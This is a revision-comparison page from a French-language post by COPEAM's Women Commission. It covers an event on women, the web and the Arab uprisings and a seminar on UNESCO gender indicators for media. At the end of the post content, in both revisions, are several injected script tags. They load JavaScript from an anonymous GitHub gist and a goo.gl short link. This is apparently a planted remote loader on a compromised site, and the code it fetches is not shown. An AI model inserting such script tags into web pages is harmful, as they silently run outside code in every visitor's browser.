You are viewing an old revision of this post, from July 29, 2011 @ 15:27:29. See below for differences between this version and the current revision.
La Commission poursuit sa campagne sur les nouveaux médias à travers la rencontre «La mimosa e il gelsomino. Le donne e il web nelle piazze del mondo arabo», organisée en collaboration avec le GIO (Gender Interuniversity Observatory), dans le but de mieux comprendre les raisons des femmes dans les révoltes populaires du monde arabe et le rôle joué par les nouveaux médias. La rencontre a été diffusée en streaming sur trois web tv (copeam.tv, uniroma.tv et roma3.it) et animée en ligne sur la page Facebook «Femmes Méditerranéennes».
Programme
Francesca Brezzi – Présidente du GIO (Gender Interuniversity Observatory)
Loredana Cornero - Relations Internationalesde la RAI / Présidente de la Commission Femmes de la COPEAM
Francesca Maria Corrao – Professeur ordinaire de langue et littérature arabes à l’Université Luiss
Feten Fradi – Communauté tunisienne/ COPEAM
Carolina Popolani – Documentariste
Iman Sabbah – Journaliste Rainews
Yasemin Taskin – Journaliste au journal turc “Sabah”
Avec la participation exclusive de Sondès Ben Khalifa – journaliste Radio Tunisienne
La journaliste Sondès Ben Khalifa de la Radio Tunisienne a été interviewée à Tunis, le 15 juillet par l’équipe de Mediterraid, un projet présenté par RAI Nuovi Media à Chypre lors de la 18ème Conférence annuelle de la COPEAM (14 mai 2011).
Regardez l'interview
Plus d’infos sur Mediterraid
Changes:
July 29, 2011 @ 15:27:29 | Current Revision | ||
---|---|---|---|
Title | |||
Mimosa et Jasmin. Les femmes et le web dans les places du monde arabe | Femmes et Médias : A la recherche de nouvelles formes de représentation |
Content | |||
---|---|---|---|
<p> | <p> | ||
| Le but du <span data-scayt_word="Groupe" data-scaytid= "1">Groupe</span> de Travail “Femmes en <span data-scayt_word= "Méditerranéeâ€" data-scaytid= "2">Mé diterrané e”</span> de la <span data-scayt_word="COPEAM" data-scaytid= "3">COPEAM</span> <span data-scayt_word="est" data-scaytid= "4">est</span> <span data-scayt_word= "l’étude" data-scaytid= "5">l’étude</span> de la condition et <span data-scayt_word="dela" data-scaytid= "6">dela</span> <span data-scayt_word= "représentation" data-scaytid= "7">repré sentation</span> <span data-scayt_word= "féminine" data-scaytid= "8">fé minine</span> <span data-scayt_word="dans" data-scaytid= "9">dans</span> le milieu <span data-scayt_word= "audiovisuel" data-scaytid= "11">audiovisuel</span> de <span data-scayt_word= "l’espace" data-scaytid= "12">l’ espace</span> Euro-Med, <span data-scayt_word="ainsi" data-scaytid= "13">ainsi</span> <span data-scayt_word="que" data-scaytid= "14">que</span> <span data-scayt_word= "l’idéation" data-scaytid= "15">l’ idéation</span>, <span data-scayt_word= "réalisation" data-scaytid= "16">ré alisation</span> et promotion de <span data-scayt_word="projets" data-scaytid= "17">projets</span> <span data-scayt_word="visant" data-scaytid= "18">visant</span> <span data-scayt_word="à " data-scaytid= "19">à</span> <span data-scayt_word="fournir" data-scaytid= "20">fournir</span> des <span data-scayt_word="outils" data-scaytid= "21">outils</span> <span data-scayt_word="concrets" data-scaytid= "22">concrets</span> <span data-scayt_word= "d’émancipation" data-scaytid= "23">d’ émancipation</span>, <span data-scayt_word="notamment" data-scaytid= "24">notamment</span> <span data-scayt_word="dans" data-scaytid= "10">dans</span> <span data-scayt_word="ces" data-scaytid= "25">ces</span> <span data-scayt_word= "régions" data-scaytid= "26">ré gions</span> <span data-scayt_word= "particulièrement" data-scaytid= "27">particuliè rement</span> « <span data-scayt_word= "difficiles" data-scaytid= "28">difficiles</span> »</p> | ||
<p> | <p> | ||
<br /> | |||
<span style="color: rgb(0, | <span style="font-size: 14px"><span style="color: rgb(0,100,0)"><strong>A LA </strong></span> </span><span style="font-size: 14px"><span style="color: rgb(0,100,0)" ><strong><span data-scayt_word="UNE" data-scaytid= "29">UNE</span></strong>< /span></span></p> | ||
<strong>Francesca <span><span data-scayt_word="Brezzi" data-scaytid= "90">Brezzi</ span></span></strong> – <span><span data-scayt_word= "Présidente" data-scaytid= "91">Pré sidente</span></span> du <span><span data-scayt_word="GIO" data-scaytid= "34">GIO</span></span> (Gender <span><span data-scayt_word= "Interuniversity" data-scaytid= "36">Interuniversity< /span></span> Observatory)<br /> | |||
<strong><span><span data-scayt_word="Loredana" data-scaytid= "93">Loredana< /span></span> <span><span data-scayt_word="Cornero" data-scaytid= "94">Cornero< /span></span></strong> - Relations <span><span data-scayt_word= "Internationalesde" data-scaytid= "95">Internationalesde< /span></span> la RAI / <span><span data-scayt_word= "Présidente" data-scaytid= "92">Pré sidente</span></span> de la Commission Femmes de la <span><span data-scayt_word="COPEAM" data-scaytid= "96">COPEAM</ span></span><br /> | |||
<strong>Francesca Maria <span><span data-scayt_word="Corrao" data-scaytid= "99">Corrao</ span></span></strong> – <span><span data-scayt_word= "Professeur" data-scaytid= "100">Professeur< /span></span> <span><span data-scayt_word="ordinaire" data-scaytid= "135">ordinaire< /span></span> de <span><span data-scayt_word="langue" data-scaytid= "136">langue< /span></span> et <span><span data-scayt_word= "littérature" data-scaytid= "137">littérature< /span></span> <span><span data-scayt_word="arabes" data-scaytid= "138">arabes< /span></span> <span><span data-scayt_word="à " data-scaytid= "17">à </span></span> <span><span data-scayt_word= "l’Université" data-scaytid= "139">l’ Université </span></span> <span><span data-scayt_word="Luiss" data-scaytid= "140">Luiss</ span></span><br /> | |||
<strong><span><span data-scayt_word="Feten" data-scaytid= "141">Feten</ span></span> <span><span data-scayt_word="Fradi" data-scaytid= "142">Fradi</ span></span></strong> – <span><span data-scayt_word= "Communauté" data-scaytid= "143">Communauté</ span></span> <span><span data-scayt_word= "tunisienne" data-scaytid= "144">tunisienne< /span></span>/ <span><span data-scayt_word="COPEAM" data-scaytid= "97">COPEAM</ span></span><br /> | |||
<strong>Carolina <span><span data-scayt_word="Popolani" data-scaytid= "145">Popolani< /span></span></strong> – <span><span data-scayt_word= "Documentariste" data-scaytid= "146">Documentariste< /span></span><br /> | |||
<strong><span><span data-scayt_word="Iman" data-scaytid= "147">Iman</span></span> <span><span data-scayt_word="Sabbah" data-scaytid= "148">Sabbah< /span></span> </strong>– <span><span data-scayt_word= "Journaliste" data-scaytid= "149">Journaliste< /span></span> <span><span data-scayt_word="Rainews" data-scaytid= "151">Rainews< /span></span><br /> | |||
<strong><span><span data-scayt_word="Yasemin" data-scaytid= "152">Yasemin< /span></span> <span><span data-scayt_word="Taskin" data-scaytid= "153">Taskin< /span></span></strong> – <span><span data-scayt_word= "Journaliste" data-scaytid= "150">Journaliste< /span></span> au journal <span><span data-scayt_word="turc" data-scaytid= "154">turc</span></span> <span><span data-scayt_word= "“Sabahâ€" data-scaytid= "155">“ Sabah” </span></span><br /> | |||
<br /> | |||
<span><span data-scayt_word="Avec" data-scaytid= "156">Avec</span></span> la participation exclusive de <strong><span><span data-scayt_word="Sondès" data-scaytid= "157">Sondè s</span></span> Ben <span><span data-scayt_word="Khalifa" data-scaytid= "193">Khalifa< /span></span></strong> – <span><span data-scayt_word= "journaliste" data-scaytid= "195">journaliste< /span></span> Radio <span><span data-scayt_word= "Tunisienne" data-scaytid= "197">Tunisienne< /span></span></p> | |||
<p> | <p> | ||
<img alt="" src="/userfiles/ image/ritsm.jpg" style="width: 242px; height: 180px; float: left;" />Les 15 et 16 <span data-scayt_word="juillet" data-scaytid= "92">juillet</span>, la <span data-scayt_word="COPEAM" data-scaytid= "59">COPEAM</span> a <span data-scayt_word= "organisé" data-scaytid= "94">organisé</span> <span data-scayt_word="à " data-scaytid= "60">à</span> Ljubljana le <span data-scayt_word= "troisième" data-scaytid= "96">troisième</span> <span data-scayt_word= "séminaire" data-scaytid= "97">sé minaire</span> <span data-scayt_word="sur" data-scaytid= "99">sur</span> <span data-scayt_word= "l’adaptation" data-scaytid= "101">l’ adaptation</span> des <span data-scayt_word= "Indicateurs" data-scaytid= "102">Indicateurs</span> des Genres pour les <span data-scayt_word="Médias" data-scaytid= "103">Médias</span> de <span data-scayt_word= "l’UNESCO" data-scaytid= "104">l’ UNESCO</span>. <span data-scayt_word="Ce" data-scaytid= "106">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "98">sé minaire</span> <span data-scayt_word= "s’inscrit" data-scaytid= "107">s’ inscrit</span> <span data-scayt_word="dans" data-scaytid= "61">dans</span> un plus ample <span data-scayt_word="projet" data-scaytid= "110">projet</span> <span data-scayt_word="promu" data-scaytid= "111">promu</span> par <span data-scayt_word= "l’UNESCO" data-scaytid= "105">l’ UNESCO</span> <span data-scayt_word="sur" data-scaytid= "100">sur</span> <span data-scayt_word= "l’intégration" data-scaytid= "112">l’inté gration</span> de la perspective des genres <span data-scayt_word="dans" data-scaytid= "62">dans</span> les <span data-scayt_word= "politiques" data-scaytid= "113">politiques</span> et les <span data-scayt_word="pratiques" data-scaytid= "114">pratiques</span> <span data-scayt_word= "professionnelles" data-scaytid= "115">professionnelles</span> des <span data-scayt_word="médias" data-scaytid= "116">mé dias</span>.<br /> | |||
<a href="../../UserFiles/ File/Projects/ 72_Rassegna%20Stampa%20La%20mimosa%20e%20il%20gelsomino.pdf"><span style="color: rgb(0, 0, 205);"><u><strong>Revue de <span><span data-scayt_word="presse" data-scaytid= "199">presse< /span></span> </strong></u> </span></a></p> | Accueillie par la RTVSLO, la rencontre a impliqué une dizaine de professionnels provenant de différentes directions qui ont analysé, sélectionné et adapté les indicateurs les plus pertinents au contexte de leur organisme. Le séminaire à été ouvert par M. Marko Filli, Directeur Général du diffuseur slovène, et à été conduit par la COPEAM avec le support de Mme Živa Humer, chercheuse au Pace Institute.</p> | ||
<p> | <p> | ||
<a href="http:// www.facebook.com/ ?sk=events& ap=1#%21/event.php?eid= 174708302575130"><img alt="" src="../../userfiles/ image/fb_sm%281%29.jpg" style="width: 38px; height: 38px; float: left;" /></a></p> | Au cours des deux jours de travail, les participants ont concordé une version adaptée des indicateurs et un plan d’action pour leur application, afin d’évaluer les politiques internes en matière d’é galité entre les genres. Cela permettra d’élaborer des recommandations visant à renforcer l’équilibre hommes-femmes dans les stratégies de la RTVSLO.</p> | ||
<p> | <p> | ||
Le <span data-scayt_word= "deuxième" data-scaytid= "143">deuxième</span> <span data-scayt_word= "séminaire" data-scaytid= "117">sé minaire</span> de <span data-scayt_word="cette" data-scaytid= "145">cette</span> <span data-scayt_word="série" data-scaytid= "146">série</span> a <span data-scayt_word="été" data-scaytid= "147">é té</span> <span data-scayt_word="accueilli" data-scaytid= "148">accueilli</span> par la <span data-scayt_word= "radiotélévision" data-scaytid= "149">radiotélé vision</span> <span data-scayt_word="publique" data-scaytid= "150">publique</span> <span data-scayt_word="albanaise" data-scaytid= "151">albanaise</span> – <span data-scayt_word="RTSH" data-scaytid= "152">RTSH</span>, en <span data-scayt_word="mai" data-scaytid= "153">mai</span> 2013.</p> | |||
<table border="1" cellpadding="1" cellspacing="1" height="93" width="576"> | |||
<tbody> | |||
<tr> | |||
<td style="text-align: center"> | |||
<span style="color: rgb(0,100,0)" ><strong>LIENS UTILES</strong> </span></td> | |||
<td style="text-align: center"> | |||
<span style="color: rgb(0,100,0)"><strong>LA COMMISSION FEMMES SOUTIENT</strong> </span></td> | |||
</tr> | |||
<tr> | |||
<td> | |||
< | <p> | ||
<a href="http:// fr-fr.facebook.com/ femmes.mediterraneennes" target="_blank"><img alt="" src="../../userfiles/ image/BannerFacebookEN.gif" style="width: 149px; height: 36px" /></a></p> | |||
</td> | |||
<td colspan="1" rowspan="2"> | |||
<p style="margin-left: 40px"> | |||
<a href="../../proj.aspx?ln= fr&id=34&p=103" style="color: rgb(0,0,255)"><img alt="" src="../../userfiles/ image/women_makethenews_sm.jpg" style="width: 71px; height: 49px" /></a><a href="http:// www.copeam.org/ proj.aspx?ln= fr&id=0& p=196"><span style="color: rgb(0,0,205)" ><u><strong>COPEAM for...Women make the news</strong> </u></span></a></p> | |||
</td> | |||
</tr> | |||
<tr> | |||
<td> | |||
<a href="http:// www.youtube.com/ user/MediaAndWomen" target="_blank"><img alt="" src="../../userfiles/ image/womengroup_ youtube.jpg" style="width: 146px; height: 43px" /></a></td> | |||
</tr> | |||
</tbody> | |||
</table> | |||
<p> | <p> | ||
</p> | |||
<hr /> | |||
<p> | |||
La <span><span data-scayt_word= "journaliste" data-scaytid= "196">journaliste< /span></span> <span><span data-scayt_word="Sondès" data-scaytid= "158">Sondè s</span></span> Ben <span><span data-scayt_word="Khalifa" data-scaytid= "194">Khalifa< /span></span> de la Radio <span><span data-scayt_word= "Tunisienne" data-scaytid= "198">Tunisienne< /span></span> a <span><span data-scayt_word="été" data-scaytid= "82">é té</span></span> <span><span data-scayt_word= "interviewée" data-scaytid= "200">interviewée< /span></span> <span><span data-scayt_word="à " data-scaytid= "18">à </span></span> Tunis, le 15 <span><span data-scayt_word="juillet" data-scaytid= "201">juillet< /span></span> par <span><span data-scayt_word= "l’équipe" data-scaytid= "202">l’ équipe< /span></span> de <span><span data-scayt_word= "Mediterraid" data-scaytid= "203">Mediterraid< /span></span>, un <span><span data-scayt_word="projet" data-scaytid= "205">projet< /span></span> <span><span data-scayt_word= "présenté" data-scaytid= "206">pré senté </span></span> par RAI <span><span data-scayt_word="Nuovi" data-scaytid= "207">Nuovi</ span></span> Media <span><span data-scayt_word="à " data-scaytid= "19">à </span></span> <span><span data-scayt_word="Chypre" data-scaytid= "208">Chypre< /span></span> <span><span data-scayt_word="lors" data-scaytid= "209">lors</span></span> de la <span><span data-scayt_word="18ème" data-scaytid= "210">18è me</span></span> <span><span data-scayt_word= "Conférence" data-scaytid= "211">Conférence</ span></span> <span><span data-scayt_word="annuelle" data-scaytid= "212">annuelle< /span></span> de la <span><span data-scayt_word="COPEAM" data-scaytid= "98">COPEAM</ span></span> (14 <span><span data-scayt_word="mai" data-scaytid= "213">mai</span></span> 2011).</p> | |||
<p> | |||
<a href="http:// www.youtube.com/ watch?v=CoA6HY1fjag& feature=youtu.be"><span style="color: rgb(0, 0, 205);"><u><strong><span><span data-scayt_word="Regardez" data-scaytid= "214">Regardez< /span></span> <span><span data-scayt_word= "l'interview" data-scaytid= "215">l'interview</span> </span></strong> </u></span></a><br /> | <span id="1253701565586E" style="display: none"></span></p> | ||
<a href="../../proj.aspx?ln= fr&id=34& p=156"><span style="color: rgb(0, 0, 205);"><u><strong>Plus <span><span data-scayt_word= "d’infos" data-scaytid= "216">d’ infos</span></span> <span><span data-scayt_word="sur" data-scaytid= "13">sur</span></span> <span><span data-scayt_word= "Mediterraid" data-scaytid= "204">Mediterraid</span>< /span></strong> </u></span></a></p> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.